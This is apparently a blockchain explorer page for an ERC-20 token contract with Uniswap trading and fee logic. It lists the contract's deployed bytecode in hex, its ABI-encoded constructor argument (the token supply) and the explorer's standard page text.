a5f09f9fa50af09f9fa5f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa50af09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa800000000000000000000000000000002f050fe938943acc45f65568000000000

Deployed Bytecode

0x6080604052600436106101a05760003560e01c8063590f897e116100ec578063a457c2d71161008a578063c9567bf911610064578063c9567bf9146105ed578063dd62ed3e14610604578063f2fde38b14610641578063f7739b5f1461066a576101a7565b8063a457c2d71461054a578063a514a07d14610587578063a9059cbb146105b0576101a7565b8063768dc710116100c6578063768dc7101461048e5780637caefa89146104cb5780638da5cb5b146104f457806395d89b411461051f576101a7565b8063590f897e1461040f57806370a082311461043a578063715018a614610477576101a7565b806323b872dd1161015957806340b9a54b1161013357806340b9a54b1461036557806349bd5a5e146103905780634a74bb02146103bb5780634ca4a336146103e6576101a7565b806323b872dd146102c0578063313ce567146102fd5780633950935114610328576101a7565b806306fdde03146101ac578063095ea7b3146101d757806313fad07a146102145780631694505e1461023f57806318160ddd1461026a578063220f669614610295576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c1610693565b6040516101ce9190612226565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f991906122e1565b610725565b60405161020b919061233c565b60405180910390f35b34801561022057600080fd5b50610229610743565b604051610236919061233c565b60405180910390f35b34801561024b57600080fd5b50610254610756565b60405161026191906123b6565b60405180910390f35b34801561027657600080fd5b5061027f61077c565b60405161028c91906123e0565b60405180910390f35b3480156102a157600080fd5b506102aa610786565b6040516102b7919061233c565b60405180910390f35b3480156102cc57600080fd5b506102e760048036038101906102e291906123fb565b610799565b6040516102f4919061233c565b60405180910390f35b34801561030957600080fd5b50610312610872565b60405161031f919061246a565b60405180910390f35b34801561033457600080fd5b5061034f600480360381019061034a91906122e1565b610889565b60405161035c919061233c565b60405180910390f35b34801561037157600080fd5b5061037a61093c565b60405161038791906123e0565b60405180910390f35b34801561039c57600080fd5b506103a5610942565b6040516103b29190612494565b60405180910390f35b3480156103c757600080fd5b506103d0610968565b6040516103dd919061233c565b60405180910390f35b3480156103f257600080fd5b5061040d600480360381019061040891906124af565b61097b565b005b34801561041b57600080fd5b50610424610a0a565b60405161043191906123e0565b60405180910390f35b34801561044657600080fd5b50610461600480360381019061045c91906124dc565b610a10565b60405161046e91906123e0565b60405180910390f35b34801561048357600080fd5b5061048c610a59565b005b34801561049a57600080fd5b506104b560048036038101906104b091906124dc565b610a6d565b6040516104c2919061233c565b60405180910390f35b3480156104d757600080fd5b506104f260048036038101906104ed9190612535565b610a8d565b005b34801561050057600080fd5b50610509610ab3565b6040516105169190612494565b60405180910390f35b34801561052b57600080fd5b50610534610adc565b6040516105419190612226565b60405180910390f35b34801561055657600080fd5b50610571600480360381019061056c91906122e1565b610b6e565b60405161057e919061233c565b60405180910390f35b34801561059357600080fd5b506105ae60048036038101906105a9919061258e565b610c3b565b005b3480156105bc57600080fd5b506105d760048036038101906105d291906122e1565b610c60565b6040516105e4919061233c565b60405180910390f35b3480156105f957600080fd5b50610602610c7e565b005b34801561061057600080fd5b5061062b600480360381019061062691906125bb565b611051565b60405161063891906123e0565b60405180910390f35b34801561064d57600080fd5b50610668600480360381019061066391906124dc565b6110d8565b005b34801561067657600080fd5b50610691600480360381019061068c919061258e565b61115b565b005b6060600580546106a29061262a565b80601f01602080910402602001604051908101604052809291908181526020018280546106ce9061262a565b801561071b5780601f106106f05761010080835404028352916020019161071b565b820191906000526020600020905b8154815290600101906020018083116106fe57829003601f168201915b5050505050905090565b60006107396107326111b7565b84846111bf565b6001905092915050565b601360169054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600854905090565b601360149054906101000a900460ff1681565b60006107a6848484611353565b610867846107b26111b7565b61086285604051806060016040528060288152602001612de260289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108186111b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461178b9092919063ffffffff16565b6111bf565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60006109326108966111b7565b8461092d85600260006108a76111b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e090919063ffffffff16565b6111bf565b6001905092915050565b600b5481565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601360159054906101000a900460ff1681565b6109836117f6565b601360149054906101000a900460ff16156109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca906126a7565b60405180910390fd5b60006109de30610a10565b90506000606483836109f091906126f6565b6109fa9190612767565b9050610a0581611874565b505050565b600c5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a616117f6565b610a6b60006118e8565b565b60036020528060005260406000206000915054906101000a900460ff1681565b610a956117f6565b80600960016101000a81548160ff021916908360ff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610aeb9061262a565b80601f0160208091040260200160405190810160405280929190818152602001828054610b179061262a565b8015610b645780601f10610b3957610100808354040283529160200191610b64565b820191906000526020600020905b815481529060010190602001808311610b4757829003601f168201915b5050505050905090565b6000610c31610b7b6111b7565b84610c2c85604051806060016040528060258152602001612e0a6025913960026000610ba56111b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461178b9092919063ffffffff16565b6111bf565b6001905092915050565b610c436117f6565b80601360166101000a81548160ff02191690831515021790555050565b6000610c74610c6d6111b7565b8484611353565b6001905092915050565b610c866117f6565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d0e91906127ad565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9991906127ad565b6040518363ffffffff1660e01b8152600401610db69291906127da565b6020604051808303816000875af1158015610dd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df991906127ad565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610eaf30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610eaa30610a10565b6111bf565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ef830610a10565b600080610f03610ab3565b426040518863ffffffff1660e01b8152600401610f259695949392919061283e565b60606040518083038185885af1158015610f43573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f6891906128b4565b505050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161100a929190612907565b6020604051808303816000875af1158015611029573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104d9190612945565b5050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110e06117f6565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361114f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611146906129e4565b60405180910390fd5b611158816118e8565b50565b6111636117f6565b80601360156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516111ac919061233c565b60405180910390a150565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112295750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611268576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125f90612a50565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161134691906123e0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113bd5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6113fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f390612abc565b60405180910390fd5b6000811161143f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143690612b4e565b60405180910390fd5b600960019054906101000a900460ff1660ff16600960009054906101000a900460ff1660ff16101580156114805750601360149054906101000a900460ff16155b80156114da5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114f25750601360159054906101000a900460ff165b15611535576000600960006101000a81548160ff021916908360ff160217905550600061151e30610a10565b905060008111156115335761153281611874565b5b505b600060019050600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115dc5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806116a75750601360169054906101000a900460ff16801561164c5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156116a65750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156116b55760009050611779565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361171857600b54600a81905550611778565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361177757600c54600a819055505b5b5b611785848484846119ac565b50505050565b60008383111582906117d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ca9190612226565b60405180910390fd5b5082840390509392505050565b600081836117ee9190612b6e565b905092915050565b6117fe6111b7565b73ffffffffffffffffffffffffffffffffffffffff1661181c610ab3565b73ffffffffffffffffffffffffffffffffffffffff1614611872576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186990612bee565b60405180910390fd5b565b6001601360146101000a81548160ff02191690831515021790555061189881611a16565b60004790506118c9600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611c59565b506000601360146101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b806119be576119b9611ca4565b6119f7565b6009600081819054906101000a900460ff16809291906119dd90612c0e565b91906101000a81548160ff021916908360ff160217905550505b611a02848484611d00565b80611a1057611a0f61211e565b5b50505050565b6000600267ffffffffffffffff811115611a3357611a32612c37565b5b604051908082528060200260200182016040528015611a615781602001602082028036833780820191505090505b5090503081600081518110611a7957611a78612c66565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b4491906127ad565b81600181518110611b5857611b57612c66565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611bbf30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111bf565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611c23959493929190612d53565b600060405180830381600087803b158015611c3d57600080fd5b505af1158015611c51573d6000803e3d6000fd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611c9f573d6000803e3d6000fd5b505050565b6000600a54148015611cb857506000600b54145b8015611cc657506000600c54145b611cfe57600b54600e81905550600c54600f81905550600a54600d819055506000600b819055506000600c819055506000600a819055505b565b6000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611d5a576000611d5e565b6010545b9050601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ee157611e0482600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213b90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e9981600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612118565b600080611eed84612151565b91509150611f4384600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213b90919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd882600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e090919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061206d81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161210d91906123e0565b60405180910390a350505b50505050565b600d54600a81905550600e54600b81905550600f54600c81905550565b600081836121499190612dad565b905092915050565b60008060006064600a548561216691906126f6565b6121709190612767565b90506000612187828661213b90919063ffffffff16565b90508082935093505050915091565b600081519050919050565b600082825260208201905092915050565b60005b838110156121d05780820151818401526020810190506121b5565b60008484015250505050565b6000601f19601f8301169050919050565b60006121f882612196565b61220281856121a1565b93506122128185602086016121b2565b61221b816121dc565b840191505092915050565b6000602082019050818103600083015261224081846121ed565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006122788261224d565b9050919050565b6122888161226d565b811461229357600080fd5b50565b6000813590506122a58161227f565b92915050565b6000819050919050565b6122be816122ab565b81146122c957600080fd5b50565b6000813590506122db816122b5565b92915050565b600080604083850312156122f8576122f7612248565b5b600061230685828601612296565b9250506020612317858286016122cc565b9150509250929050565b60008115159050919050565b61233681612321565b82525050565b6000602082019050612351600083018461232d565b92915050565b6000819050919050565b600061237c6123776123728461224d565b612357565b61224d565b9050919050565b600061238e82612361565b9050919050565b60006123a082612383565b9050919050565b6123b081612395565b82525050565b60006020820190506123cb60008301846123a7565b92915050565b6123da816122ab565b82525050565b60006020820190506123f560008301846123d1565b92915050565b60008060006060848603121561241457612413612248565b5b600061242286828701612296565b935050602061243386828701612296565b9250506040612444868287016122cc565b9150509250925092565b600060ff82169050919050565b6124648161244e565b82525050565b600060208201905061247f600083018461245b565b92915050565b61248e8161226d565b82525050565b60006020820190506124a96000830184612485565b92915050565b6000602082840312156124c5576124c4612248565b5b60006124d3848285016122cc565b91505092915050565b6000602082840312156124f2576124f1612248565b5b600061250084828501612296565b91505092915050565b6125128161244e565b811461251d57600080fd5b50565b60008135905061252f81612509565b92915050565b60006020828403121561254b5761254a612248565b5b600061255984828501612520565b91505092915050565b61256b81612321565b811461257657600080fd5b50565b60008135905061258881612562565b92915050565b6000602082840312156125a4576125a3612248565b5b60006125b284828501612579565b91505092915050565b600080604083850312156125d2576125d1612248565b5b60006125e085828601612296565b92505060206125f185828601612296565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061264257607f821691505b602082108103612655576126546125fb565b5b50919050565b7f43757272656e746c792070726f63657373696e672c20747279206c617465722e600082015250565b60006126916020836121a1565b915061269c8261265b565b602082019050919050565b600060208201905081810360008301526126c081612684565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612701826122ab565b915061270c836122ab565b925082820261271a816122ab565b91508282048414831517612731576127306126c7565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612772826122ab565b915061277d836122ab565b92508261278d5761278c612738565b5b828204905092915050565b6000815190506127a78161227f565b92915050565b6000602082840312156127c3576127c2612248565b5b60006127d184828501612798565b91505092915050565b60006040820190506127ef6000830185612485565b6127fc6020830184612485565b9392505050565b6000819050919050565b600061282861282361281e84612803565b612357565b6122ab565b9050919050565b6128388161280d565b82525050565b600060c0820190506128536000830189612485565b61286060208301886123d1565b61286d604083018761282f565b61287a606083018661282f565b6128876080830185612485565b61289460a08301846123d1565b979650505050505050565b6000815190506128ae816122b5565b92915050565b6000806000606084860312156128cd576128cc612248565b5b60006128db8682870161289f565b93505060206128ec8682870161289f565b92505060406128fd8682870161289f565b9150509250925092565b600060408201905061291c6000830185612485565b61292960208301846123d1565b9392505050565b60008151905061293f81612562565b92915050565b60006020828403121561295b5761295a612248565b5b600061296984828501612930565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006129ce6026836121a1565b91506129d982612972565b604082019050919050565b600060208201905081810360008301526129fd816129c1565b9050919050565b7f4552523a207a65726f2061646472657373000000000000000000000000000000600082015250565b6000612a3a6011836121a1565b9150612a4582612a04565b602082019050919050565b60006020820190508181036000830152612a6981612a2d565b9050919050565b7f4552523a205573696e6720302061646472657373210000000000000000000000600082015250565b6000612aa66015836121a1565b9150612ab182612a70565b602082019050919050565b60006020820190508181036000830152612ad581612a99565b9050919050565b7f546f6b656e2076616c7565206d75737420626520686967686572207468616e2060008201527f7a65726f2e000000000000000000000000000000000000000000000000000000602082015250565b6000612b386025836121a1565b9150612b4382612adc565b604082019050919050565b60006020820190508181036000830152612b6781612b2b565b9050919050565b6000612b79826122ab565b9150612b84836122ab565b9250828201905080821115612b9c57612b9b6126c7565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bd86020836121a1565b9150612be382612ba2565b602082019050919050565b60006020820190508181036000830152612c0781612bcb565b9050919050565b6000612c198261244e565b915060ff8203612c2c57612c2b6126c7565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612cca8161226d565b82525050565b6000612cdc8383612cc1565b60208301905092915050565b6000602082019050919050565b6000612d0082612c95565b612d0a8185612ca0565b9350612d1583612cb1565b8060005b83811015612d46578151612d2d8882612cd0565b9750612d3883612ce8565b925050600181019050612d19565b5085935050505092915050565b600060a082019050612d6860008301886123d1565b612d75602083018761282f565b8181036040830152612d878186612cf5565b9050612d966060830185612485565b612da360808301846123d1565b9695505050505050565b6000612db8826122ab565b9150612dc3836122ab565b9250828203905081811115612ddb57612dda6126c7565b5b9291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201ba7f05d0b9575c43e2ab623fd4d940f9c52eae9116d6a920012ac562d40845c64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000002f050fe938943acc45f65568000000000

-----Decoded View---------------
Arg [0] : _tokens (uint256): 1000000000000000000000000000000000000000

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000002f050fe938943acc45f65568000000000


Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.